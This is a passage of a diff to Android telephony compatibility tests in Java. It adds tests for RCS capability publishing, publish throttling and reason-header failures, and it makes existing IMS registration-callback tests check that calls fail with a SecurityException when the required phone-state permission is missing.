+            ImsMmTelManager mmTelManager = imsManager.getImsMmTelManager(sTestSub);
+            mmTelManager.unregisterImsRegistrationCallback(callback);
+            fail("unregisterImsRegistrationCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+    }
+
+    @Test
     public void testMmTelManagerRegistrationCallback() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
             return;
@@ -737,7 +938,6 @@
         // extend ImsMmTelManager.RegistrationCallback (because it doesn't exist), so this has to
         // happen as an anon class here.
         LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
-        // Deprecated in R, see testMmTelManagerRegistrationCallbackR below.
         ImsMmTelManager.RegistrationCallback callback = new ImsMmTelManager.RegistrationCallback() {
             @Override
             public void onRegistered(int imsTransportType) {
@@ -831,7 +1031,547 @@
         }
     }
 
-    @Ignore("RCS APIs not public yet")
+    @Test
+    public void testRcsDeviceCapabilitiesPublish() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONED_BOOL, false);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot find IMS service");
+        }
+
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+        RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
+
+        // Connect to device ImsService with MmTel feature and RCS feature
+        triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+        TestRcsCapabilityExchangeImpl capExchangeImpl = sServiceConnector.getCarrierService()
+                .getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // Register the callback to listen to the publish state changed
+        LinkedBlockingQueue<Integer> publishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener publishStateCallback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        publishStateQueue.offer(state);
+                    }
+                };
+
+        // Another publish register callback to verify the API
+        // RcsUceAdapter#removeOnPublishStateChangedListener
+        LinkedBlockingQueue<Integer> unregisteredPublishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener unregisteredPublishStateCallback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        unregisteredPublishStateQueue.offer(state);
+                    }
+                };
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            // register two publish state callback
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    publishStateCallback);
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    unregisteredPublishStateCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Verify receiving the publish state callback immediately after registering the callback.
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(unregisteredPublishStateQueue));
+        publishStateQueue.clear();
+        unregisteredPublishStateQueue.clear();
+
+        // Verify the value of getting from the API is NOT_PUBLISHED
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Setup the operation of the publish request.
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            int networkResp = 200;
+            String reason = "";
+            listener.onPublish();
+            cb.onNetworkResponse(networkResp, reason);
+        });
+
+        // Unregister the publish state callback
+        try {
+            automan.adoptShellPermissionIdentity();
+            uceAdapter.removeOnPublishStateChangedListener(unregisteredPublishStateCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // IMS registers
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+
+        // Framework should not trigger the device capabilities publish when the framework doesn't
+        // receive that the RcsUceAdapter.CAPABILITY_TYPE_PRESENCE_UCE is enabled.
+        if (publishStateQueue.poll() != null) {
+            fail("The publish callback should not be called because presence uce is not ready");
+        }
+        if (unregisteredPublishStateQueue.poll() != null) {
+            fail("The de-registered publish callback should not be called");
+        }
+
+        // Notify framework that the RCS capability status is changed and PRESENCE UCE is enabled.
+        RcsImsCapabilities capabilities =
+                new RcsImsCapabilities(RcsUceAdapter.CAPABILITY_TYPE_PRESENCE_UCE);
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .notifyCapabilitiesStatusChanged(capabilities);
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // Verify the value of getting from the API is PUBLISH_STATE_OK
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        // ImsService triggers the unpublish notification
+        eventListener.onUnpublish();
+
+        // Verify the publish state callback will be called with the state "NOT_PUBLISHED"
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // The unregistered callback should not be called.
+        if (unregisteredPublishStateQueue.poll() != null) {
+            fail("The de-registered publish callback should not be called when unpublish");
+        }
+
+        // Verify the value of getting from the API is NOT_PUBLISHED
+        try {
+            automan.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Trigger RcsFeature is unavailable
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .setFeatureState(ImsFeature.STATE_UNAVAILABLE);
+
+        // Verify the RcsCapabilityExchangeImplBase will be removed.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_LISTENER_SET));
+
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testPublishImsReg() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONED_BOOL, false);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot find IMS service");
+        }
+
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+        RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
+
+        // Connect to device ImsService with MmTel feature and RCS feature
+        triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+        TestRcsCapabilityExchangeImpl capExchangeImpl = sServiceConnector.getCarrierService()
+                .getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // Register the callback to listen to the publish state changed
+        LinkedBlockingQueue<Integer> publishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener publishStateCallback =
+                publishStateQueue::offer;
+
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            automan.adoptShellPermissionIdentity();
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    publishStateCallback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        // Verify receiving the publish state callback immediately after registering the callback.
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        LinkedBlockingQueue<String> pidfQueue = new LinkedBlockingQueue<>();
+        // Setup the operation of the publish request.
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            pidfQueue.offer(pidfXml);
+            int networkResp = 200;
+            String reason = "";
+            listener.onPublish();
+            cb.onNetworkResponse(networkResp, reason);
+        });
+
+        LinkedBlockingQueue<ImsRegistrationAttributes> mQueue = new LinkedBlockingQueue<>();
+        RegistrationManager.RegistrationCallback callback =
+                new RegistrationManager.RegistrationCallback() {
+                    @Override
+                    public void onRegistered(ImsRegistrationAttributes attr) {
+                        mQueue.offer(attr);
+                    }
+
+                    @Override
+                    public void onRegistering(ImsRegistrationAttributes attr) {}
+
+                    @Override
+                    public void onUnregistered(ImsReasonInfo info) {}
+
+                    @Override
+                    public void onTechnologyChangeFailed(int type, ImsReasonInfo info) {}
+                };
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(imsRcsManager,
+                (m) -> m.registerImsRegistrationCallback(getContext().getMainExecutor(), callback),
+                ImsException.class);
+
+        // IMS registers
+        ArraySet<String> featureTags = new ArraySet<>();
+        // Chat Session
+        featureTags.add(CHAT_FEATURE_TAG);
+        featureTags.add(FILE_TRANSFER_FEATURE_TAG);
+        ImsRegistrationAttributes attr = new ImsRegistrationAttributes.Builder(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE).setFeatureTags(featureTags).build();
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(attr);
+        waitForParam(mQueue, attr);
+
+        // Notify framework that the RCS capability status is changed and PRESENCE UCE is enabled.
+        RcsImsCapabilities capabilities =
+                new RcsImsCapabilities(RcsUceAdapter.CAPABILITY_TYPE_PRESENCE_UCE);
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .notifyCapabilitiesStatusChanged(capabilities);
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify that the publish is triggered and receive the publish state changed callback.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // Can not verify the pidf fully, but we can ensure that the service id for the feature is
+        // contained in the XML. Multible PUBLISH requests may occur based on the state of the stack
+        // at the time of this call, retry to get correct PIDF up to 5 times.
+        boolean containsChatServiceId = false;
+        boolean containsFileTransferServiceId = false;
+        for (int retry = 0; retry < 5; retry++) {
+            String pidf = waitForResult(pidfQueue);
+            if (pidf == null) break;
+            containsChatServiceId = pidf.contains(CHAT_SERVICE_ID);
+            containsFileTransferServiceId  = pidf.contains(FILE_TRANSFER_SERVICE_ID);
+            if (containsChatServiceId && containsFileTransferServiceId) break;
+        }
+        assertTrue("PIDF XML doesn't contain chat service-id", containsChatServiceId);
+        assertTrue("PIDF XML doesn't contain FT service-id",
+                containsFileTransferServiceId);
+
+        // Trigger RcsFeature is unavailable
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .setFeatureState(ImsFeature.STATE_UNAVAILABLE);
+
+        // Verify the RcsCapabilityExchangeImplBase will be removed.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_LISTENER_SET));
+
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testRcsCapabilitiesPublishNetworkResponseWithReasonHeader() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        // Trigger carrier config changed
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONED_BOOL, false);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot find IMS service");
+        }
+
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+        RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
+
+        // Connect to device ImsService with MmTel feature and RCS feature
+        triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+        TestRcsCapabilityExchangeImpl capExchangeImpl = sServiceConnector.getCarrierService()
+                .getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // Register the callback to listen to the publish state changed
+        LinkedBlockingQueue<Integer> publishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener callback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        publishStateQueue.offer(state);
+                    }
+                };
+
+        // register the publish state callback
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(uceAdapter,
+                a -> a.addOnPublishStateChangedListener(getContext().getMainExecutor(), callback),
+                ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+
+        // Verify receiving the publish state callback immediately after registering the callback.
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // Setup the operation of the publish request.
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            int networkResp = 200;
+            String reason = "OK";
+            listener.onPublish();
+            cb.onNetworkResponse(networkResp, reason);
+        });
+
+        // IMS registers
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+
+        // Notify framework that the RCS capability status is changed and PRESENCE UCE is enabled.
+        RcsImsCapabilities capabilities =
+                new RcsImsCapabilities(RcsUceAdapter.CAPABILITY_TYPE_PRESENCE_UCE);
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .notifyCapabilitiesStatusChanged(capabilities);
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify the ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // Verify it is getUcePublishState for the API "getUcePublishState".
+        int publishState = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(uceAdapter,
+                a -> a.getUcePublishState(),
+                ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+
+        // Set the publish request fail (Reason header)
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            int networkResp = 200;
+            String reason = "";
+            int reasonHeaderCause = 400;
+            String reasonHeaderText = "Bad Request";
+            listener.onPublish();
+            cb.onNetworkResponse(networkResp, reason, reasonHeaderCause, reasonHeaderText);
+        });
+
+        // ImsService triggers to notify framework publish device's capabilities.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify ImsService receive the publish request from framework.
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+
+        // Verify that receive the publish failed callback
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OTHER_ERROR,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        publishState = ShellIdentityUtils.invokeThrowableMethodWithShellPermissions(uceAdapter,
+                a -> a.getUcePublishState(),
+                ImsException.class,
+                "android.permission.READ_PRIVILEGED_PHONE_STATE");
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OTHER_ERROR, publishState);
+
+        overrideCarrierConfig(null);
+    }
+
+    @Test
+    public void testRcsPublishThrottle() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        // Trigger carrier config change
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.KEY_CARRIER_VOLTE_PROVISIONED_BOOL, false);
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        if (imsManager == null) {
+            fail("Cannot get the ImsManager");
+        }
+        ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
+        RcsUceAdapter uceAdapter = imsRcsManager.getUceAdapter();
+
+        // Connect to the ImsService
+        triggerFrameworkConnectToImsServiceBindMmTelAndRcsFeature();
+
+        TestRcsCapabilityExchangeImpl capExchangeImpl = sServiceConnector.getCarrierService()
+                .getRcsFeature().getRcsCapabilityExchangeImpl();
+
+        // Setup the response of the publish request.
+        capExchangeImpl.setPublishOperator((listener, pidfXml, cb) -> {
+            int networkResp = 200;
+            String reason = "OK";
+            listener.onPublish();
+            cb.onNetworkResponse(networkResp, reason);
+        });
+
+        // Register the callback to listen to the publish state changed
+        LinkedBlockingQueue<Integer> publishStateQueue = new LinkedBlockingQueue<>();
+        RcsUceAdapter.OnPublishStateChangedListener publishStateCallback =
+                new RcsUceAdapter.OnPublishStateChangedListener() {
+                    public void onPublishStateChange(int state) {
+                        publishStateQueue.offer(state);
+                    }
+                };
+
+        final UiAutomation automation = InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation();
+        try {
+            automation.adoptShellPermissionIdentity();
+            uceAdapter.addOnPublishStateChangedListener(getContext().getMainExecutor(),
+                    publishStateCallback);
+        } finally {
+            automation.dropShellPermissionIdentity();
+        }
+
+        // Verify receiving the publish state callback immediately after registering the callback.
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED,
+                waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+
+        // IMS registers
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+
+        // Verify the PUBLISH request should not be triggered and the publish state is still
+        // NOT_PUBLISHED even the IMS is registered.
+        if (publishStateQueue.poll() != null) {
+            fail("The PUBLISH request should not be triggered.");
+        }
+        try {
+            automation.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_NOT_PUBLISHED, publishState);
+        } finally {
+            automation.dropShellPermissionIdentity();
+        }
+
+        // Notify framework that the RCS capability status is changed and PRESENCE UCE is enabled.
+        RcsImsCapabilities capabilities =
+                new RcsImsCapabilities(RcsUceAdapter.CAPABILITY_TYPE_PRESENCE_UCE);
+        sServiceConnector.getCarrierService().getRcsFeature()
+                .notifyCapabilitiesStatusChanged(capabilities);
+
+        CapabilityExchangeEventListener eventListener =
+                sServiceConnector.getCarrierService().getRcsFeature().getEventListener();
+
+        // Notify framework to send the PUBLISH request to the ImsService.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify that ImsService received the first PUBLISH
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH));
+        assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, waitForIntResult(publishStateQueue));
+        publishStateQueue.clear();
+        try {
+            automation.adoptShellPermissionIdentity();
+            int publishState = uceAdapter.getUcePublishState();
+            assertEquals(RcsUceAdapter.PUBLISH_STATE_OK, publishState);
+        } finally {
+            automation.dropShellPermissionIdentity();
+        }
+
+        // Now enable voice availability
+        sServiceConnector.getCarrierService().getMmTelFeature()
+                .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities(
+                        MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE));
+
+        // The published just succeeded. The next publish should not be triggered immediately even
+        // the device capabilities has changed. Wait 3 seconds to verify the ImsService does not
+        // receive the publish request from the framework.
+        assertFalse(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH, 3000 /* 3 seconds */));
+
+        // However, if the request is triggered from the service, a new publish request should be
+        // sent immediately.
+        eventListener.onRequestPublishCapabilities(
+                RcsUceAdapter.CAPABILITY_UPDATE_TRIGGER_MOVE_TO_WLAN);
+
+        // Verify the ImsService receive the publish request
+        assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_UCE_REQUEST_PUBLISH, 3000 /* Wait up to 3 seconds */));
+
+        overrideCarrierConfig(null);
+    }
+
     @Test
     public void testRcsManagerRegistrationCallback() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
@@ -847,6 +1587,11 @@
         triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
         ImsRcsManager imsRcsManager = imsManager.getImsRcsManager(sTestSub);
 
+        // Override the carrier config
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
         // Wait for the framework to set the capabilities on the ImsService
         sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_RCS_CAP_SET);
@@ -881,13 +1626,19 @@
                     }
                 };
 
-        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        // Verify the registerImsRegistrationCallback should fail without the required permission
         try {
-            automan.adoptShellPermissionIdentity();
             imsRcsManager.registerImsRegistrationCallback(getContext().getMainExecutor(), callback);
-        } finally {
-            automan.dropShellPermissionIdentity();
+            fail("registerImsRegistrationCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
         }
+
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(imsRcsManager,
+                m -> m.registerImsRegistrationCallback(getContext().getMainExecutor(), callback),
+                ImsException.class,
+                "android.permission.READ_PRECISE_PHONE_STATE");
+
         // Verify it's not registered
         assertEquals(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED, waitForIntResult(mQueue));
 
@@ -909,12 +1660,20 @@
         assertEquals(AccessNetworkConstants.TRANSPORT_TYPE_WLAN, waitForIntResult(mQueue));
         assertEquals(ImsReasonInfo.CODE_LOCAL_HO_NOT_FEASIBLE, waitForIntResult(mQueue));
 
+        // Verify the unregisterImsRegistrationCallback should failure without the permission.
         try {
-            automan.adoptShellPermissionIdentity();
             imsRcsManager.unregisterImsRegistrationCallback(callback);
-        } finally {
-            automan.dropShellPermissionIdentity();
+            fail("unregisterImsRegistrationCallback requires READ_PRECISE_PHONE_STATE permission");
+        } catch (SecurityException e) {
+            //expected
         }
+
+        ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(imsRcsManager,
+                m -> m.unregisterImsRegistrationCallback(callback),
+                ImsException.class,
+                "android.permission.READ_PRECISE_PHONE_STATE");
+
+        overrideCarrierConfig(null);
     }
 
     @Test
@@ -1001,7 +1760,6 @@
                 (m) -> m.unregisterImsRegistrationCallback(callback));
     }
 
-    @Ignore("RCS APIs not public yet")
     @Test
     public void testRcsManagerRegistrationState() throws Exception {
         if (!ImsUtils.shouldTestImsService()) {
@@ -1015,6 +1773,12 @@
 
         // Connect to device ImsService with RcsFeature
         triggerFrameworkConnectToLocalImsServiceBindRcsFeature();
+
+        // Override the carrier config
+        PersistableBundle bundle = new PersistableBundle();
+        bundle.putBoolean(CarrierConfigManager.Ims.KEY_ENABLE_PRESENCE_PUBLISH_BOOL, true);
+        overrideCarrierConfig(bundle);
+
         sServiceConnector.getCarrierService().waitForLatchCountdown(
                 TestImsService.LATCH_RCS_CAP_SET);
 
@@ -1054,6 +1818,23 @@
                 ImsException.class);
         assertEquals(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED, waitForIntResult(mQueue));
 
+        // Verify the getRegistrationState should fail without the required permission
+        try {
+            imsRcsManager.getRegistrationState(getContext().getMainExecutor(), mQueue::offer);
+            fail("getRegistrationState requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        // Verify the getRegistrationTransportType should fail without the required permission
+        try {
+            imsRcsManager.getRegistrationTransportType(getContext().getMainExecutor(),
+                    mQueue::offer);
+            fail("getRegistrationTransportType requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
         // Ensure that the Framework reports Deregistered correctly
         verifyRegistrationState(imsRcsManager,
                 RegistrationManager.REGISTRATION_STATE_NOT_REGISTERED);
@@ -1090,6 +1871,8 @@
         verifyRegistrationTransportType(imsRcsManager, AccessNetworkConstants.TRANSPORT_TYPE_WLAN);
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(imsRcsManager,
                 (m) -> m.unregisterImsRegistrationCallback(callback));
+
+        overrideCarrierConfig(null);
     }
 
     @Test
@@ -1186,6 +1969,96 @@
         }
     }
 
+    @Test
+    public void testCallComposerCapabilityStatusCallback() throws Exception {
+        if (!ImsUtils.shouldTestImsService()) {
+            return;
+        }
+
+        ImsManager imsManager = getContext().getSystemService(ImsManager.class);
+        ImsMmTelManager mmTelManager = imsManager.getImsMmTelManager(sTestSub);
+
+        triggerFrameworkConnectToCarrierImsService();
+
+        // Wait for the framework to set the capabilities on the ImsService
+        sServiceConnector.getCarrierService().waitForLatchCountdown(
+                TestImsService.LATCH_MMTEL_CAP_SET);
+        MmTelFeature.MmTelCapabilities fwCaps = sServiceConnector.getCarrierService()
+                .getMmTelFeature().getCapabilities();
+        // Make sure we start off with every capability unavailable
+        sServiceConnector.getCarrierService().getImsRegistration().onRegistered(
+                ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
+        sServiceConnector.getCarrierService().getMmTelFeature()
+                .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities());
+
+        // Make sure the capabilities match the API getter for capabilities
+        final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            // Make sure we are tracking voice capability over LTE properly.
+            assertEquals(fwCaps.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE),
+                    mmTelManager.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_VOICE,
+                    ImsRegistrationImplBase.REGISTRATION_TECH_LTE));
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        LinkedBlockingQueue<MmTelFeature.MmTelCapabilities> mQueue = new LinkedBlockingQueue<>();
+        ImsMmTelManager.CapabilityCallback callback = new ImsMmTelManager.CapabilityCallback() {
+
+            @Override
+            public void onCapabilitiesStatusChanged(MmTelFeature.MmTelCapabilities capabilities) {
+                mQueue.offer(capabilities);
+            }
+        };
+
+        // Latch will count down here (we callback on the state during registration).
+        try {
+            automan.adoptShellPermissionIdentity();
+            mmTelManager.registerMmTelCapabilityCallback(getContext().getMainExecutor(), callback);
+        } finally {
+            automan.dropShellPermissionIdentity();
+        }
+
+        try {
+            mmTelManager.registerMmTelCapabilityCallback(getContext().getMainExecutor(), callback);
+            fail("registerMmTelCapabilityCallback requires READ_PRECISE_PHONE_STATE permission.");
+        } catch (SecurityException e) {
+            //expected
+        }
+
+        // We should not have voice availability here, we notified the framework earlier.
+        MmTelFeature.MmTelCapabilities capCb = waitForResult(mQueue);
+        assertFalse(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
+
+        // Now enable call composer availability
+        sServiceConnector.getCarrierService().getMmTelFeature()
+                .notifyCapabilitiesStatusChanged(new MmTelFeature.MmTelCapabilities(
+                MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
+        capCb = waitForResult(mQueue);
+        assertNotNull(capCb);
+        assertTrue(capCb.isCapable(MmTelFeature.MmTelCapabilities.CAPABILITY_TYPE_CALL_COMPOSER));
+
+        try {
+            automan.adoptShellPermissionIdentity();
+            assertTrue(ImsUtils.retryUntilTrue(() -> mmTelManager.isAvailable(
